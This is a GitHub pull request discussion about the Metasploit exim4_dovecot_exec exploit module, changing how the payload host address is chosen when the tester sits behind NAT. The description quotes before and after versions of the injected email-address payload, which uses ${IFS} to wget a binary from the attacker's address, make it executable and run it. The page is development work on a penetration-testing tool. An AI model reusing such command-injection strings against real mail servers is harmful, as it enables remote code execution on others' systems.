Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support LHOST for metasploit behind NAT #7301

Merged
merged 1 commit into from Sep 16, 2016
Merged

Support LHOST for metasploit behind NAT #7301

merged 1 commit into from Sep 16, 2016

Conversation

aushack
Copy link
Contributor

@aushack aushack commented Sep 13, 2016

This module (for unknown reasons) forces the use of SRVHOST which can be bound to the interface (e.g. 0.0.0.0). Unlike LHOST, which can use any string for a reverse payload but still binds to 0.0.0.0, this module doesn't work if using behind NAT because SRVHOST will bind to any, but the shell injection will use a non routable address. So I changed it to use LHOST (if set), so that the payload will use the msf IP address.

Before:
<LbE/usr/bin/wget${IFS}192.168.1.1/ZRBIdHUrJjByRY${IFS}-O${IFS}/tmp/pdadacylchmod${IFS}+x${IFS}/tmp/pdadacyl/tmp/pdadacyl@debian.localdomain>

After:
<LbE/usr/bin/wget${IFS}203.1.1.1/ZRBIdHUrJjByRY${IFS}-O${IFS}/tmp/pdadacylchmod${IFS}+x${IFS}/tmp/pdadacyl/tmp/pdadacyl@debian.localdomain>

@aushack
Copy link
Contributor Author

aushack commented Sep 13, 2016

Otherwise using SRVHOST like LHOST will fail:

Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (203.1.1.1:80)

@wchen-r7
Copy link
Contributor

Hi @aushack, are you familiar with the URIHOST option? The URIHOST option's description explains that it is for tunneling purposes... perhaps more suitable for this instead of using the LHOST option? Please let me know what you think, thanks!

@tdoan-r7 tdoan-r7 self-assigned this Sep 16, 2016
@tdoan-r7 tdoan-r7 merged commit 1134235 into rapid7:master Sep 16, 2016
@wchen-r7
Copy link
Contributor

We have changed it to: 7c396db

@wchen-r7
Copy link
Contributor

wchen-r7 commented Sep 16, 2016

Release Notes

The exploits/linux/smtp/exim4_dovecot_exec module now supports NAT with the URIHOST option.

@tdoan-r7 tdoan-r7 added the rn-fix release notes fix label Sep 19, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug module rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants